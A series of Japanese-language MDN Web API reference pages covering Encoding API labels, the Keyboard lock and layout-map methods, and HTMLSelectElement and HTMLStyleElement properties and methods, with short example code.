エンコーディング API のエンコーディング - Web API

エンコーディング API のエンコーディング
======================

エンコーディング API のインターフェイスである `TextDecoder` と `TextDecoderStream` のコンストラクターには、オプションとして `label` を渡し、用いるエンコーディングを示すことができます。
 既定値は `UTF-8` です。

 以下の表は、エンコーディング仕様書で定義されている、ユーザーエージェントが対応しなければならないエンコーディング名とラベルをすべて列挙したものです。
 これらは、一般的に文字エンコーディングを使用する場所であればどこでも適用可能です。

| ラベル | エンコーディング |
| --- | --- |
|
 "`unicode-1-1-utf-8`", "`utf-8`",
 "`utf8`"
  | `'utf-8'` |
|
 "`866`", "`cp866`", "`csibm866`",
 "`ibm866`"
  | ibm866 |
|
 "`csisolatin2`", "`iso-8859-2`",
 "`iso-ir-101`", "`iso8859-2`",
 "`iso88592`", "`iso_8859-2`",
 "`iso_8859-2:1987`", "`l2`", "`latin2`"
  | iso-8859-2 |
|
 "`csisolatin3`", "`iso-8859-3`",
 "`iso-ir-109`", "`iso8859-3`",
 "`iso88593`", "`iso_8859-3`",
 "`iso_8859-3:1988`", "`l3`", "`latin3`"
  | iso-8859-3 |
|
 "`csisolatin4`", "`iso-8859-4`",
 "`iso-ir-110`", "`iso8859-4`",
 "`iso88594`", "`iso_8859-4`",
 "`iso_8859-4:1988`", "`l4`", "`latin4`"
  | iso-8859-4 |
|
 "`csisolatincyrillic`", "`cyrillic`",
 "`iso-8859-5`", "`iso-ir-144`",
 "`iso88595`", "`iso_8859-5`",
 "`iso_8859-5:1988`"
  | iso-8859-5 |
|
 "`arabic`", "`asmo-708`",
 "`csiso88596e`", "`csiso88596i`",
 "`csisolatinarabic`", "`ecma-114`",
 "`iso-8859-6`", "`iso-8859-6-e`",
 "`iso-8859-6-i`", "`iso-ir-127`",
 "`iso8859-6`", "`iso88596`",
 "`iso_8859-6`", "`iso_8859-6:1987`"
  | iso-8859-6 |
|
 "`csisolatingreek`", "`ecma-118`",
 "`elot_928`", "`greek`", "`greek8`",
 "`iso-8859-7`", "`iso-ir-126`",
 "`iso8859-7`", "`iso88597`",
 "`iso_8859-7`", "`iso_8859-7:1987`",
 "`sun_eu_greek`"
  | iso-8859-7 |
|
 "`csiso88598e`", "`csisolatinhebrew`",
 "`hebrew`", "`iso-8859-8`",
 "`iso-8859-8-e`", "`iso-ir-138`",
 "`iso8859-8`", "`iso88598`",
 "`iso_8859-8`", "`iso_8859-8:1988`",
 "`visual`"
  | iso-8859-8 |
|
 "`csiso88598i`", "`iso-8859-8-i`",
 "`logical`"
  | iso-8859-8i |
|
 "`csisolatin6`", "`iso-8859-10`",
 "`iso-ir-157`", "`iso8859-10`",
 "`iso885910`", "`l6`", "`latin6`"
  | iso-8859-10 |
|
 "`iso-8859-13`", "`iso8859-13`",
 "`iso885913`"
  | iso-8859-13 |
|
 "`iso-8859-14`", "`iso8859-14`",
 "`iso885914`"
  | iso-8859-14 |
|
 "`csisolatin9`", "`iso-8859-15`",
 "`iso8859-15`", "`iso885915`", "`l9`",
 "`latin9`"
  | iso-8859-15 |
| "`iso-8859-16`" | iso-8859-16 |
|
 "`cskoi8r`", "`koi`", "`koi8`",
 "`koi8-r`", "`koi8_r`"
  | koi8-r |
| "`koi8-u`" | koi8-u |
|
 "`csmacintosh`", "`mac`",
 "`macintosh`", "`x-mac-roman`"
  | macintosh |
|
 "`dos-874`", "`iso-8859-11`",
 "`iso8859-11`", "`iso885911`",
 "`tis-620`", "`windows-874`"
  | windows-874 |
|
 "`cp1250`", "`windows-1250`",
 "`x-cp1250`"
  | windows-1250 |
|
 "`cp1251`", "`windows-1251`",
 "`x-cp1251`"
  | windows-1251 |
|
 "`ansi_x3.4-1968`", "`ascii`",
 "`cp1252`", "`cp819`", "`csisolatin1`",
 "`ibm819`", "`iso-8859-1`",
 "`iso-ir-100`", "`iso8859-1`",
 "`iso88591`", "`iso_8859-1`",
 "`iso_8859-1:1987`", "`l1`",
 "`latin1`", "`us-ascii`",
 "`windows-1252`", "`x-cp1252`"
  | windows-1252 |
|
 "`cp1253`", "`windows-1253`",
 "`x-cp1253`"
  | windows-1253 |
|
 "`cp1254`", "`csisolatin5`",
 "`iso-8859-9`", "`iso-ir-148`",
 "`iso8859-9`", "`iso88599`",
 "`iso_8859-9`", "`iso_8859-9:1989`",
 "`l5`", "`latin5`", "`windows-1254`",
 "`x-cp1254`"
  | windows-1254 |
|
 "`cp1255`", "`windows-1255`",
 "`x-cp1255`"
  | windows-1255 |
|
 "`cp1256`", "`windows-1256`",
 "`x-cp1256`"
  | windows-1256 |
|
 "`cp1257`", "`windows-1257`",
 "`x-cp1257`"
  | windows-1257 |
|
 "`cp1258`", "`windows-1258`",
 "`x-cp1258`"
  | windows-1258 |
| "`x-mac-cyrillic`", "`x-mac-ukrainian`" | x-mac-cyrillic |
|
 "`chinese`", "`csgb2312`",
 "`csiso58gb231280`", "`gb2312`",
 "`gb_2312`", "`gb_2312-80`", "`gbk`",
 "`iso-ir-58`", "`x-gbk`"
  | gbk |
| "`gb18030`" | gb18030 |
| "`hz-gb-2312`" | hz-gb-2312 |
|
 "`big5`", "`big5-hkscs`", "`cn-big5`",
 "`csbig5`", "`x-x-big5`"
  | big5 |
|
 "`cseucpkdfmtjapanese`", "`euc-jp`",
 "`x-euc-jp`"
  | euc-jp |
| "`csiso2022jp`", "`iso-2022-jp`" | iso-2022-jp |
|
 "`csshiftjis`", "`ms_kanji`",
 "`shift-jis`", "`shift_jis`", "`sjis`",
 "`windows-31j`", "`x-sjis`"
  | shift-jis |
|
 "`cseuckr`", "`csksc56011987`",
 "`euc-kr`", "`iso-ir-149`", "`korean`",
 "`ks_c_5601-1987`", "`ks_c_5601-1989`",
 "`ksc5601`", "`ksc_5601`",
 "`windows-949`"
  | euc-kr |
| "`csiso2022kr`", "`iso-2022-kr`" | iso-2022-kr |
| "`utf-16be`" | utf-16be |
| "`utf-16`", "`utf-16le`" | utf-16le |
| "`x-user-defined`" | `'x-user-defined'` |
| "`iso-2022-cn`", "`iso-2022-cn-ext`" | `'replacement'` |


Keyboard: unlock() メソッド - Web API

Keyboard: unlock() メソッド
=======================

**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`unlock()`** は `Keyboard` インターフェイスのメソッドで、 `Keyboard.lock()` メソッドによってキャプチャされているすべてのキーのロックを解放し、同期的に返ります。

構文
--

```js
unlock()
```

### 引数

なし。

### 返値

なし (`undefined`)。

仕様書
---

| Specification |
| --- |
| Keyboard Lock # h-keyboard-unlock |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Keyboard: getLayoutMap() メソッド - Web API

Keyboard: getLayoutMap() メソッド
=============================

**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`getLayoutMap()`** は `Keyboard` インターフェイスのメソッドで、特定の物理キーに関連付けられた文字列を取得するための関数を持つマップ風のオブジェクトである `KeyboardLayoutMap` のインスタンスで解決するプロミス (`Promise`) を返します。

構文
--

```js
getLayoutMap()
```

### 引数

なし。

### 返値

`KeyboardLayoutMap` のインスタンスで解決するプロミス (`Promise`) です。

### 例外

`SecurityError` `DOMException`

呼び出しが権限ポリシーによってブロックされた場合に発生します。

例
-

次の例は、英語の QWERTY キーボードの 'W' キーに対応するキーに関連付けられた、場所またはレイアウト固有の文字列を取得する方法を示しています。

```js
const keyboard = navigator.keyboard;
keyboard.getLayoutMap().then((keyboardLayoutMap) => {
  const upKey = keyboardLayoutMap.get("KeyW");
  window.alert(`Press ${upKey} to move up.`);
});
```

仕様書
---

| Specification |
| --- |
| Keyboard Map # h-keyboard-getlayoutmap |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Keyboard: lock() メソッド - Web API

Keyboard: lock() メソッド
=====================

**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`lock()`** は `Keyboard` インターフェイスのメソッドで、物理キーボード上の任意のキーまたはすべてのキーのキー押下のキャプチャを有効にした後、プロミス (`Promise`) を返します。このメソッドでキャプチャできるのは、基本的なオペレーティングシステムがアクセスを許可しているキーだけです。

`lock()` を複数回呼び出すと、最後に呼び出したキーコードだけがロックされます。
 前に `lock()` を呼び出したときにロックされたキーはロック解除されます。

構文
--

```js
lock()
lock(keyCodes)
```

### 引数

`keyCodes` 省略可

ロックする 1 つ以上のキーコードの配列 (`Array`)。キーコードが指定されなかった場合、すべてのキーがロックされます。有効なコード値のリストは、 UI Events KeyboardEvent code Values 仕様にあります。

### 返値

ロックが成功したときに `undefined` で解決される `Promise` です。

### 例外

`AbortError` `DOMException`

現在の呼び出しが終了する前に `lock()` を新たに呼び出した場合に発生します。

`InvalidAccessError` `DOMException`

keyCodes 内のキーが有効なキーコード属性値でない場合に発生します。

`InvalidStateError` `DOMException`

アクティブな最上位の閲覧コンテキストで `lock()` が呼び出されなかった場合に発生します。

セキュリティ
------

一時的なユーザーによる有効化が必要です。この機能が動作するためには、ユーザーがページや UI 要素を操作する必要があります。

例
-

### すべてのキーのキャプチャ

次の例では、すべてのキー入力をキャプチャします。

```js
navigator.keyboard.lock();
```

### 特定のキーのキャプチャ

 以下の例では、"W"、"A"、"S"、"D" キーをキャプチャしています。キーを押したときにどの修飾キーが使われたかに関係なく、これらのキーをキャプチャします。標準的な US QWERTY レイアウトを想定すると、 `"KeyW"` を登録することで、"W"、Shift+"W"、Control+"W"、Control+Shift+"W"、その他すべての修飾キーと "W" の組み合わせがアプリに送信されるようになります。
 `KeyA"`、`"KeyS"`、`"KeyD"` についても同様です。

```js
navigator.keyboard.lock(["KeyW", "KeyA", "KeyS", "KeyD"]);
```

仕様書
---

| Specification |
| --- |
| Keyboard Lock # h-keyboard-lock |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLSelectElement: setCustomValidity() メソッド - Web API

HTMLSelectElement: setCustomValidity() メソッド
===========================================

Baseline 2023
-------------

Newly availableSince March 2023, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.

* Learn more
* See full compatibility
* Report feedback
**`HTMLSelectElement.setCustomValidity()`** メソッドは、選択要素のカスタム検証メッセージを指定されたメッセージに設定します。要素にカスタム検証エラーが*ない*ことを示す場合は、空の文字列を使用してください。

構文
--

```js
setCustomValidity(string)
```

### 引数

* `string` は、エラーメッセージの入った文字列です。
### 返値

なし（`undefined`）。

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-cva-setcustomvalidity-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* フォームの検証


HTMLSelectElement: checkValidity() メソッド - Web API

HTMLSelectElement: checkValidity() メソッド
=======================================

Baseline 2023
-------------

Newly availableSince March 2023, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.

* Learn more
* See full compatibility
* Report feedback
**`HTMLSelectElement.checkValidity()`** メソッドは、その要素に制約が設定されているかどうか、それを満足しているかどうかをチェックします。その要素が制約を満たしていない場合、ブラウザーはキャンセル可能な `invalid` イベントをその要素に送り、`false` を返します。

構文
--

```js
checkValidity()
```

### 引数

なし。

### 返値

なし（`undefined`）。

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-cva-checkvalidity-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* フォームの検証


HTMLSelectElement: selectedIndex プロパティ - Web API

HTMLSelectElement: selectedIndex プロパティ
======================================

**`HTMLSelectElement.selectedIndex`** は `long` 値であり、選択されている `<option>` 要素のうち、`multiple` の値に応じて最初または最後のものを返します。`-1` の値は選択されている要素がないことを示します。

値
-

数値です。

例
-

### HTML

```html
<p id="p">selectedIndex: 0</p>

<select id="select">
  <option selected>Option A</option>
  <option>Option B</option>
  <option>Option C</option>
  <option>Option D</option>
  <option>Option E</option>
</select>
```

### JavaScript

```js
const selectElem = document.getElementById("select");
const pElem = document.getElementById("p");

// When a new <option> is selected
selectElem.addEventListener("change", () => {
  const index = selectElem.selectedIndex;
  // Add that data to the <p>
  pElem.textContent = `selectedIndex: ${index}`;
});
```

### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-select-selectedindex-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLSelectElement: selectedOptions プロパティ - Web API

HTMLSelectElement: selectedOptions プロパティ
========================================

**読み取り専用**の `HTMLSelectElement` の **`selectedOptions`** プロパティは、この `<select>` 要素にある現在選択中の `<option>` のリストが入ります。選択中の選択肢のリストは `HTMLCollection` オブジェクトで、選択中の選択肢ごとに 1 項目ずつ入ります。

選択肢は `HTMLOptionElement.selected` 属性を持つ場合に選択されたとみなされます。

値
-

`HTMLCollection` で、`HTMLSelectElement` または `<select>` 内にある `HTMLOptGroupElement` の子である現在選択中の `HTMLOptionElement` すべてが入ります。

つまり、`<select>` 要素に含まれる選択肢はすべて結果に含まれますが、選択肢グループはリストに含まれません。

現在選択中の選択肢がない場合は、コレクションは空になり、`length` は 0 になります。

例
-

この例では、いくつかの選択肢を持つ `<select>` 要素を使用し、ユーザーがさまざまな食べ物を注文できるようにしています。

### HTML

選択ボックスと、それぞれの食べ物の選択肢を表す `<option>` 要素を生成する HTML は次のようになります。

```html
<label for="foods">何を召し上がりますか？</label><br />
<select id="foods" name="foods" size="7" multiple>
  <option value="1">ブリトー</option>
  <option value="2">チーズバーガー</option>
  <option value="3">特上ダブルベーコンバーガー</option>
  <option value="4">ペパロニピザ</option>
  <option value="5">タコス</option>
</select>
<br />
<button name="order" id="order">注文する</button>
<p id="output"></p>
```

`<select>` 要素は、複数の項目を選択できるように設定されており、7 行の高さになっています。また、`<button>` は、`selected` プロパティを使用して、選択された要素の `HTMLCollection` を取得するトリガーとなる役割を担っています。

### JavaScript

ボタンのイベントハンドラーを確立する JavaScript のコードと、イベントハンドラー自体は次のようになっています。

```js
let orderButton = document.getElementById("order");
let itemList = document.getElementById("foods");
let outputBox = document.getElementById("output");

orderButton.addEventListener(
  "click",
  () => {
    let collection = itemList.selectedOptions;
    let output = "";

    for (let i = 0; i < collection.length; i++) {
      if (output === "") {
        output = "次の商品の注文を行いました: ";
      }
      output += collection[i].label;

      if (i === collection.length - 2 && collection.length < 3) {
        output += " and ";
      } else if (i < collection.length - 2) {
        output += ", ";
      } else if (i === collection.length - 2) {
        output += ", and ";
      }
    }

    if (output === "") {
      output = "何も注文していません。";
    }

    outputBox.innerHTML = output;
  },
  false,
);
```

このスクリプトは、「注文する」ボタンの `click` イベントリスナーを設定します。クリックされると、イベントハンドラーは `selectedOptions` を使って選択された選択肢のリストを取得し、リスト内の選択肢を繰り返し処理します。順番に並べられた項目を列挙するために文字列が作成され、適切な英語の文法ルール（シリアルカンマ を含む）を使ってリストを作成するロジックがあります。

### 結果

出来上がったコンテンツを実際に見てみると、こんな感じです。

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-select-selectedoptions-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* ドロップダウンコントロール


HTMLSelectElement: namedItem() メソッド - Web API

HTMLSelectElement: namedItem() メソッド
===================================

**`HTMLSelectElement.namedItem()`** メソッドは、`HTMLOptionElement` のうち `name` または `id` が指定された名前に一致する `HTMLOptionElement` を、一致するものがない場合は `null` を返します。

JavaScript では、`selectElt.namedItem('value')` を使用すると `selectElt.namedItem('value')` と同等になります。

構文
--

```js
namedItem(str)
```

### 引数

* `str` は文字列です。
### 返値

* `item` は `HTMLOptionElement` です。
例
-

### HTML

```html
<form>
  <select id="myFormControl">
    <option id="o1">Opt 1</option>
    <option id="o2">Opt 2</option>
  </select>
</form>
```

### JavaScript

```js
let selectElt = document.getElementById("myFormControl");
elem1 = selectElt.namedItem("o1"); // #o1 を表す HTMLOptionElement
```

ただし、次のように書くことはできません。

```js
let selectElt = document.getElementById("myFormControl");
elem1 = selectElt.o1; // undefined を返す
elem1 = selectElt["o1"]; // undefined を返す
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-select-nameditem-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 実装先の `HTMLSelectElement`


HTMLSelectElement: add() メソッド - Web API

HTMLSelectElement: add() メソッド
=============================

**`HTMLSelectElement.add()`** メソッドは、この `select` 要素が持つ `option` 要素の集合に要素を追加します。

構文
--

```js
add(item)
add(item, before)
```

### 引数

`item`

`HTMLOptionElement` または
 `HTMLOptGroupElement` です

`before` 省略可

集合内の要素または *long* 型で位置を指定します。*item* はその直前に挿入されます。この引数が `null`（または存在しない位置）であった場合、新しい要素は集合の末尾に追加されます。

### 返値

なし（`undefined`）。

### 例外

`HierarchyRequestError` `DOMException`

このメソッドに渡された *item* が `HTMLSelectElement` の祖先であった場合に発生します。

例
-

### 一から要素を作成

```js
const sel = document.createElement("select");
const opt1 = document.createElement("option");
const opt2 = document.createElement("option");

opt1.value = "1";
opt1.text = "Option: Value 1";

opt2.value = "2";
opt2.text = "Option: Value 2";

sel.add(opt1, null);
sel.add(opt2, null);

/\*
 理想的には下記のように生成します。

 <select>
 <option value="1">Option: Value 1</option>
 <option value="2">Option: Value 2</option>
 </select>
\*/
```

before 引数は省略可能ですので、以下のようにすることもできます。

```js
sel.add(opt1);
sel.add(opt2);
```

### 既存の集合に追加

```js
const sel = document.getElementById("existingList");

const opt = document.createElement("option");
opt.value = "3";
opt.text = "Option: Value 3";

sel.add(opt, null);

/\*
 以下のような select オブジェクトがあったとします。

 <select id="existingList">
 <option value="1">Option: Value 1</option>
 <option value="2">Option: Value 2</option>
 </select>

 すると、次のように変わります。

 <select id="existingList">
 <option value="1">Option: Value 1</option>
 <option value="2">Option: Value 2</option>
 <option value="3">Option: Value 3</option>
 </select>
\*/
```

before 引数は省略可能ですので、以下のようにすることもできます。

```js
sel.add(opt);
```

### 既存の集合への挿入

```js
const sel = document.getElementById("existingList");

const opt = document.createElement("option");
opt.value = "3";
opt.text = "Option: Value 3";

sel.add(opt, sel.options[1]);

/\*
 以下のような select オブジェクトがあったとします。

 <select id="existingList">
 <option value="1">Option: Value 1</option>
 <option value="2">Option: Value 2</option>
 </select>

 すると、次のように変わります。

 <select id="existingList">
 <option value="1">Option: Value 1</option>
 <option value="3">Option: Value 3</option>
 <option value="2">Option: Value 2</option>
 </select>
\*/
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-select-add-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLSelectElement: labels プロパティ - Web API

HTMLSelectElement: labels プロパティ
===============================

**`HTMLSelectElement.labels`** は読み取り専用のプロパティで、この `<select>` 要素に関連付けられた `<label>` 要素の `NodeList` を返します。

値
-

`NodeList` で、`<select>` 要素に関連付けられた `<label>` 要素が入ります。

例
-

### HTML

```html
<label id="label1" for="test">ラベル 1</label>
<select id="test">
  <option value="1">選択肢 1</option>
  <option value="2">選択肢 2</option>
</select>
<label id="label2" for="test">ラベル 2</label>
```

### JavaScript

```js
window.addEventListener("DOMContentLoaded", () => {
  const select = document.getElementById("test");
  for (const label of select.labels) {
    console.log(label.textContent); // "Label 1" and "Label 2"
  }
});
```

### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-lfe-labels-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLSelectElement: type プロパティ - Web API

HTMLSelectElement: type プロパティ
=============================

**`HTMLSelectElement.type`** は読み取り専用のプロパティで、フォームコントロールの `type` を返します。

値
-

次のうちのいずれかです。

* `"select-multiple"` 複数の値が選択可能な場合
* `"select-one"` 一つの値だけが選択可能な場合
例
-

```js
switch (select.type) {
  case "select-multiple":
    // 複数の値が選択可能
    break;
  case "select-one":
    // 一つの値だけが選択可能
    break;
  default:
  // 標準外の値（または SELECT 要素ではない）
}
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-select-type-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* このインターフェイスを実装している HTML の `<select>` 要素。


HTMLSelectElement: remove() メソッド - Web API

HTMLSelectElement: remove() メソッド
================================

**`HTMLSelectElement.remove()`** メソッドは、この select 要素の選択肢の集合から指定された位置の要素を削除します。

構文
--

```js
remove(index)
```

### 引数

* `index` はゼロから始まる long 値で、集合から削除する `HTMLOptionElement` の位置を表します。この位置の要素が見つからなかった場合は、このメソッドは効果がありません。
### 返値

なし（`undefined`）。

例
-

```html
<select id="existingList" name="existingList">
  <option value="1">Option: Value 1</option>
  <option value="2">Option: Value 2</option>
  <option value="3">Option: Value 3</option>
</select>
```

```js
let sel = document.getElementById("existingList");
sel.remove(1);
```

HTML は次のようになります。

```html
<select id="existingList" name="existingList">
  <option value="1">Option: Value 1</option>
  <option value="3">Option: Value 3</option>
</select>
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-select-remove |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `Element.remove` は、`HTMLSelectElement` 上で remove が引数無しに呼び出された場合に呼び出されるメソッドです。
* 実装先の `HTMLSelectElement`


HTMLSelectElement: disabled プロパティ - Web API

HTMLSelectElement: disabled プロパティ
=================================

**`HTMLSelectElement.disabled`** プロパティは論理値で、HTML の `disabled` 属性を反映し、このコントロールが無効であるかどうかを示します。無効であった場合、クリックを受け付けません。無効な要素は使用できず、クリックできません。

値
-

論理値です。

例
-

### HTML

```html
<label>
  飲み物はいかが？
  <input id="allow-drinks" type="checkbox" />
</label>

<label for="drink-select">飲み物の選択:</label>
<select id="drink-select" disabled>
  <option value="1">水</option>
  <option value="2">ビール</option>
  <option value="3">ペプシ</option>
  <option value="4">ウィスキー</option>
</select>
```

### JavaScript

```js
const allowDrinksCheckbox = document.getElementById("allow-drinks");
const drinkSelect = document.getElementById("drink-select");

allowDrinksCheckbox.addEventListener(
  "change",
  (event) => {
    drinkSelect.disabled = !event.target.checked;
  },
  false,
);
```

### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-fe-disabled |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLSelectElement: options プロパティ - Web API

HTMLSelectElement: options プロパティ
================================

**`HTMLSelectElement.options`** は読み取り専用のプロパティで、この `<select>` 要素に含まれる `<option>` のリストを `HTMLOptionsCollection` の形で返します。

### 値

`HTMLOptionsCollection` 型で、この `<select>` 要素に含まれている `<options>` を返します。

例
-

### HTML

```html
<label for="test">ラベル</label>
<select id="test">
  <option value="1">選択肢 1</option>
  <option value="2">選択肢 2</option>
</select>
```

### JavaScript

```js
window.addEventListener("DOMContentLoaded", () => {
  const select = document.getElementById("test");
  for (const option of select.options) {
    console.log(option.label); // "Option 1" と "Option 2"
  }
});
```

### 結果

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-select-options-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLSelectElement: form プロパティ - Web API

HTMLSelectElement: form プロパティ
=============================

**`HTMLSelectElement.form`** は読み取り専用のプロパティで、この要素が関連付けられているフォームを表す `HTMLFormElement` を返します。この要素が `<form>` 要素に関連付けられていなかった場合は、`null` を返します。

値
-

`HTMLFormElement` です。

例
-

```html
<form id="pet-form">
  <label for="pet-select">ペットを選択してください</label>
  <select name="pets" id="pet-select">
    <option value="dog">犬</option>
    <option value="cat">猫</option>
    <option value="parrot">オウム</option>
  </select>

  <button type="submit">送信</button>
</form>

<label for="lunch-select">ランチを選んでください</label>
<select name="lunch" id="lunch-select">
  <option value="salad">サラダ</option>
  <option value="sandwich">サンドウィッチ</option>
</select>

<script>
 const petSelect = document.getElementById("pet-select");
 const petForm = petSelect.form; // <form id="pet-form">

 const lunchSelect = document.getElementById("lunch-select");
 const lunchForm = lunchSelect.form; // null
</script>
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-fae-form-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLSelectElement: item() メソッド - Web API

HTMLSelectElement: item() メソッド
==============================

**`HTMLSelectElement.item()`** メソッドは、選択肢のリスト内で引数で渡された位置にある `HTMLOptionElement` に対応する `Element` を返します。存在しない場合は `null` を返します。

JavaScript では、ブラケット構文に `unsigned long` の値を入れた `selectElt[index]` の形で、`selectElt.namedItem(index)` と同等になります。

構文
--

```js
item(index)
// or collection[index]
```

### 引数

* `index` は `unsigned long` の値です。
### 返値

* `item` は `HTMLOptionElement` です。
例
-

### HTML

```html
<form>
  <select id="myFormControl">
    <option id="o1">Opt 1</option>
    <option id="o2">Opt 2</option>
  </select>
</form>
```

### JavaScript

```js
// Returns the HTMLOptionElement representing #o2
elem1 = document.forms[0]["myFormControl"][1];
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-select-item-dev |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 実装先の `HTMLSelectElement`


HTMLStyleElement: sheet プロパティ - Web API

HTMLStyleElement: sheet プロパティ
=============================

**`sheet`** は `HTMLStyleElement` インターフェイスの読み取り専用プロパティで、この要素に関連付けられたスタイルシートを保持します。

`StyleSheet` は `type` 属性が `text/css` 出ない限り、常に `HTMLStyleElement` と関連付けられます。

値
-

`StyleSheet` オブジェクト、またはこの要素に関連付けられているものがなければ `null` です。

例
-

```html
<html>
  <header>
    <style media="print" />
    …
  </header>
</html>
```

関連付けられた `HTMLStyleElement` オブジェクトの `sheet` プロパティは、そこに記述された `StyleSheet` オブジェクトを返します。

仕様書
---

| Specification |
| --- |
| CSS Object Model (CSSOM) # dom-linkstyle-sheet |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLStyleElement: media プロパティ - Web API

HTMLStyleElement: media プロパティ
=============================

**`HTMLStyleElement.media`** プロパティは、スタイル情報の対象と想定されるメディアを指定します。

値
-

単一のメディアまたはカンマで区切られたリストを記述した文字列です。

例
-

```html
<!doctype html>
<html lang="en-US">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width" />
    <title>Test page</title>

    <link
 id="LinkedStyle"
 rel="stylesheet"
 href="document.css"
 media="screen" />
    <style id="InlineStyle" rel="stylesheet" media="screen, print">
 p {
 color: blue;
 }
 </style>
  </head>
  <body>
    <script>
 alert("LinkedStyle: " + document.getElementById("LinkedStyle").media); // 'screen'
 alert("InlineStyle: " + document.getElementById("InlineStyle").media); // 'screen, print'
 </script>
  </body>
</html>
```

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-style-media |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


HTMLStyleElement: disabled プロパティ - Web API

HTMLStyleElement: disabled プロパティ
================================

**`HTMLStyleElement.disabled`** プロパティは、このスタイルシートが無効 (`true`) かそうでないか (`false`) を取得または設定するために使用することができます。

なお、対応する `disabled` 属性は HTML の `<style>` 要素にはありません。

値
-

 このスタイルシートが無効、または関連付けられたスタイルシートがない場合は `true` を返します。それ以外の場合は `false` を返します。
 この値は既定では `false` です（関連付けられたスタイルシートがある場合）。

 このプロパティを使用して、関連付けられたスタイルシートを有効または無効にすることができます。
 関連付けられたスタイルシートがない場合、このプロパティを `true` に設定しても効果はありません。

例
-

### インラインスタイルを無効化

 この例は、HTML の `<style>` 要素 を使用して HTML で定義したスタイルに、プログラムから disabled プロパティを設定しています。
 また、`Document.styleSheets` を使用して、文書内のすべてのスタイルシートにアクセスすることもできます。

#### HTML

この HTML には、段落要素を青くする HTML の `<style>` 要素、段落要素、スタイルを有効/無効にするために使用するボタンが含まれています。

```html
<button>有効化</button>
<style id="InlineStyle">
 p {
 color: blue;
 }
</style>
<p>
  スタイルが無効の場合、テキストは黒く表示され、有効の場合は青く表示されます。
</p>
<p></p>
```

#### JavaScript

 下記のコードは `style` 要素の id を使用して取得し、無効として設定しています。
 SVG を定義しているスタイルがすでに存在しているので、これは成功するはずです。

```js
const style = document.getElementById("InlineStyle");
style.disabled = true;
```

次に、ボタンのイベントハンドラーを追加して、`disabled` の値とボタンのテキストを切り替えます。

```js
const button = document.querySelector("button");

button.addEventListener("click", () => {
  style.disabled = !style.disabled;
  const buttonText = style.disabled ? "有効化" : "無効化";
  button.innerText = buttonText;
});
```

#### 結果

 結果は下記のように表示されます。
 ボタンを押すと、段落テキストに使用するスタイルの `disabled` プロパティ値が切り替わります。

### プログラムで定義したスタイルの無効化

この例は上の例ととても似ていますが、スタイルをプログラムで定義している点が異なります。

#### HTML

HTML は前回の場合と似ていますが、定義には既定のスタイルが含まれていません。

```html
<button>有効化</button>
<p>
  スタイルが無効の場合、テキストは黒く表示され、有効の場合は青く表示されます。
</p>
<p></p>
```

#### JavaScript

 最初に HTML に新しいスタイル要素を作成します。
 これは、最初に `Document.createElement()` を使用してスタイル要素を作成し、スタイル定義のテキストノードを作成して追加し、スタイル要素を文書本体に追加することによって行われます。

```js
// `style` 要素を生成
const style = document.createElement("style");
const node = document.createTextNode("p { color: blue; }");
style.appendChild(node);
document.body.appendChild(style);
```

